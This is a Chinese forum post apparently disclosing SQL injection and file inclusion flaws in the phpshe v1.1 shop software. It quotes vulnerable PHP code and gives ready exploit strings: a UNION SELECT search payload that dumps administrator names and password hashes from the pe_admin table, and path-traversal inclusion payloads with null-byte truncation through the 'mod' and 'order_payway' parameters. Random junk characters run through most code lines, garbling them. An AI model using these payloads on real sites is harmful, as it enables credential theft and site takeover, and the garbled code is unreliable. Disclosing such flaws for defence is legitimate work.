找回密码
 立即注册
查看: 2941|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
8 \# |1 t/ ~% t9 T9 v+ a" i/* Phpshe v1.1 Vulnerability
, Q0 q! W& ~: E! T; I0 e  i/* ========================9 S* A+ z. r2 R2 v
/* By: : Kn1f3! g' k, U7 v! q* A3 z
/* E-Mail : 681796@qq.com
& B1 x; p2 B, q2 [- `/*******************************************************/$ @$ g# ~* d& {5 j& f8 U% q
0×00 整体大概参数传输& W& ?8 P3 y9 _9 j  `' A* C; j8 p4 Z
9 f, t2 b6 N  i

$ K3 f; a2 |% T; B: W1 @+ x  _( ?

, ~" \& c) s4 c5 O% p. C: t//common.php
" C+ n0 x' T7 R9 d1 Dif (get_magic_quotes_gpc()) {7 h) l( ]3 @( s7 L, b' K
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- u' s9 q3 ]3 M: q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
# \7 t' u9 n* O}
; S2 Y% }! u- l; l& ~3 X( N1 telse {3 ]+ j/ E$ p! S6 Z
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
2 |9 {  `9 f/ q- E0 v, R" j!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 P: G% k: ~8 h; r6 R}4 g2 T+ {6 p; f& u
session_start();2 A) R% U: {: J3 _# G( O+ r, f* d# N6 ~
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');/ t! ]1 z$ j6 N
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');& k3 K9 \  V" C, s3 U

6 G3 @1 s' v6 |) Y6 Q6 s. E0×01 包含漏洞' c/ m5 M* P# W6 C8 v9 ]% N7 }
5 L' ~1 K8 G( i. g
* f% o, m! \7 U( @* L# N
//首页文件
8 ]$ m, D5 a3 |  a<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);3 D4 e8 ?. w2 J
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ a" |8 i) @$ D/ [- p2 |& \  _pe_result();
4 w% O- A- A5 z2 n?>
# }: T, Q1 _/ v3 g& R+ o//common 文件 第15行开始7 [3 y$ ~- o; t0 R* r! q9 F
url路由配置
  a# C  M+ \/ Y; s$module = $mod = $act = 'index';, m9 \  S9 A* R0 H0 n& d
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
* `# o/ K/ N9 U3 i' F$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
4 S( m" ?/ {- Q% w$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* j- r! z, r* k//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
/ f; A( M" z7 q8 \& M: [# Z6 j4 o


5 ^8 M! q5 P1 B 2 q/ m+ V' P3 X0 y1 Q
0×02 搜索注入
" A! B: r0 x; J; F/ x# H . w% r" N: L) D5 B  {7 R6 d* t3 k
<code id="code2">

//product.php文件- }5 b2 _* E- ?; j" w7 V) W6 K- a
case 'list':) s! D# T' \, i) |, m* [* h
$category_id = intval($id);
" B, H8 H( u+ a7 c5 ?$info = $db->pe_select('category', array('category_id'=>$category_id));. }2 O; s7 I0 @
//搜索
* v2 F- a% n1 n% S  A& k$ k! U. _$sqlwhere = " and `product_state` = 1";
- d# l  n& `4 G* N; |* spe_lead('hook/category.hook.php');9 h; g* S' Y2 z; T1 F) ^( I0 G
if ($category_id) {& n: x$ ?4 c: Q/ \, Z
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& A! t$ n! ~$ Q% K  P: X}
% h3 a% G& e; _+ W) S; M$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
5 Q$ T$ f% B, Z6 S5 ]if ($_g_orderby) {* `1 q3 L. q6 C7 A
$orderby = explode('_', $_g_orderby);
; y% c% e4 |; R2 V" N" C) p. k; V5 Y$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";# r, @& x% f0 T( Q# S
}
+ ~% }1 W( U# x* |" N8 selse {3 k: S/ i& }9 U+ I
$sqlwhere .= " order by `product_id` desc";* T9 S/ n5 ?1 c# Y, d" L5 E
}$ Z% {# Y0 L8 p( n3 O: q
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
* G* d' A2 G- A//热卖排行
2 w- h' @7 ]! Z- ~5 Q$product_hotlist = product_hotlist();% z4 J6 r2 z2 g5 T6 [
//当前路径
8 j' }& y9 s3 v: o$nowpath = category_path($category_id);' T: T$ M! D+ f  Z
$seo = pe_seo($info['category_name']);0 g: ^+ L! [* \) `9 e. T
include(pe_tpl('product_list.html'));
( Q$ i/ K( f& W. O//跟进selectall函数库
0 U" t" {- n' W6 M4 t* j. ppublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
# i* k9 `* j% r, N{
5 H  q7 T" t, j, K( p9 b6 d//处理条件语句
8 e& G2 _: f9 \% R2 d6 C$sqlwhere = $this->_dowhere($where);9 i6 P3 @* u9 C0 w, B
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);! z9 I1 O" q1 x* e& o9 @
}
& B, g5 [2 z" W4 S# ~0 o+ I/ Z//exp
2 f' T* A7 E) Rproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1, v0 c: x$ V/ r

</code>% v& n: ^4 k) G$ ?$ s% Y
7 ^& a- B  _9 O( L5 K
0×03 包含漏洞29 R8 Z( K. o3 F: \: E& I% j
/ {, Y9 ?# u, G$ @) D* D; {7 ~
<code id="code3">

//order.php

case 'pay':

, f( O. x, ~% _# P
$order_id = pe_dbhold($_g_id);

. v- r1 {( I* ?9 F5 Q* ]& T& V
$cache_payway = cache::get('payway');


4 |) w& P8 ]$ _( `foreach($cache_payway as $k => $v) {

1 ^' y3 F, S/ \! l
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


6 F1 j+ Y) y( t, q1 iif ($k == 'bank') {


$ n7 H% y. e0 C$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

7 z* ?5 m- K4 D# B. D$ X# n
}


4 p) n1 V) ]0 q' `}


& U: W* N3 P/ q+ J$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

: o# d3 q6 L# A, h+ b- i9 R
!$order['order_id'] && pe_error('订单号错误...');


0 J: w  {+ @* z/ }3 F: b1 [if (isset($_p_pesubmit)) {


6 u1 [, b$ T% f1 |4 Nif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


- B# q" x, N1 r  Q1 [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


8 j( g/ w$ i- x$ x) o4 v: [+ {foreach ($info_list as $v) {


' f* b* d) C+ z: C$order['order_name'] .= "{$v['product_name']};";
1 B( k# K* B* G" K( |* @( ~+ I

( T5 b+ {! M7 O' d' n2 N- F# Y
}


. @0 [* i; h9 z% w5 C% eecho '正在为您连接支付网站,请稍后...';

5 C9 @: S1 I0 {' r2 h4 o3 x8 e5 d
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

/ M* a1 i# m' w
}//当一切准备好的时候就可以进行"鸡肋包含了"


& Z' e% g5 _2 {else {


* L% D3 P; r- Y9 W* Y9 wpe_error('支付错误...');

5 V8 Q; `$ B( }  B
}

" s6 Q; p( h8 e5 O; h' R
}

2 @* f- G( o$ l, {3 \. K+ w
$seo = pe_seo('选择支付方式');

& a4 ]: V% U2 \4 v  F% w+ g1 U
include(pe_tpl('order_pay.html'));


- @  K. O' p; x* s& }+ B1 x5 w. i5 }break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- r. n; c" J( {+ M& w6 Phttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表